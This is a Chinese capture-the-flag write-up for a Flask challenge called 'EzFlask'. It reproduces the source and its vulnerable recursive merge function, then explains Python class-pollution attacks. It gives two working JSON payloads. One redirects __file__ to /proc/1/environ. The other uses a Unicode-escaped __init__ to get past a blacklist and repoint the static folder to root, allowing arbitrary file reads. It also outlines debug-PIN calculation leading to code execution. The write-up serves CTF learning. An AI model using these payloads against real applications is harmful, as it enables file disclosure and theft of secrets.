EzFlask
看源码,有注册和登入两个路由
mport uuid
from flask import Flask, request, session
from secret import black_list
import json
app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
def check(data):
for i in black_list:
if i in data:
return False
return True
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False
Users = []
@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"
@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"
@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)
代码解释:
1.导入所需模块:
uuid
:用于生成Flask应用程序的随机密钥。Flask
、request
和session
来自flask
包:这些模块用于创建Web应用程序、处理HTTP请求和管理用户会话。secret
中的black_list
:假设black_list
包含敏感词汇列表。
2.设置Flask应用程序和密钥:
- 创建一个Flask应用程序对象,并为其设置一个随机生成的密钥,这个密钥用于保护会话数据的安全性。
3.定义一个
user
类:
- 该类包含了
username
和password
属性,并有一个check
方法,用于检查用户输入的数据是否与当前实例的用户名和密码匹配。
4.定义了三个路由(route):
/register
:处理用户注册的POST请求。/login
:处理用户登录的POST请求。/
:处理GET请求,用于显示当前代码文件的内容。
看到merge()函数 那么就可以使用Python原型链污染
具体内容可以看大佬文章:
https://www.cnblogs.com/Article-kelp/p/17068716.html
非预期解法:
第一种,通过file属性直接读取环境变量
__file__是从中加载模块的文件的路径名(如果它是从文件加载的)。__file__对于静态链接到解释器的C模块,该属性不存在。对于从共享库动态加载的扩展模块,它是共享库文件的路径名。
在您的情况下,模块正在__file__全局名称空间中访问其自己的属性。
因为__init__
被ban了,所以可以利用全局变量直接使file
为存储环境变量的文件
payload;
{
"username":"a",
"password":"b",
"__class__":{
"check":{
"__globals__":{
"__file__" : "/proc/1/environ"
}
}
}
}
通过/
路由可以看出,该路由直接通过__file__
属性来读取文件并进行输出,所以直接访问就可以了
第二种,static静态目录污染
_static_url_path
这个属性中存放的是flask中静态目录的值,默认该值为static。访问flask下的资源可以采用如http://domain/static/xxx,这样实际上就相当于访问_static_url_path目录下xxx的文件并将该文件内容作为响应内容返回
所以我们可以直接构造payload来进行污染,题目过滤掉了__init__
,但是check
之后经历了一次json.loads
,而且json识别unicode
,所以我们可以通过Unicode编码进行绕过
,
payload:
{
"__init\u005f_":{
"__globals__":{
"app":{
"_static_folder":"/"
}
}
},
"username":1,
"password":1
}
构造之后_static_folder
的值就变成根目录了
然后可以读取环境变量来得到flag
预期解法
题目是开启了flask的debug模式,访问console控制台,然后配合任意文件读取来计算PIN码
,最后进行RCE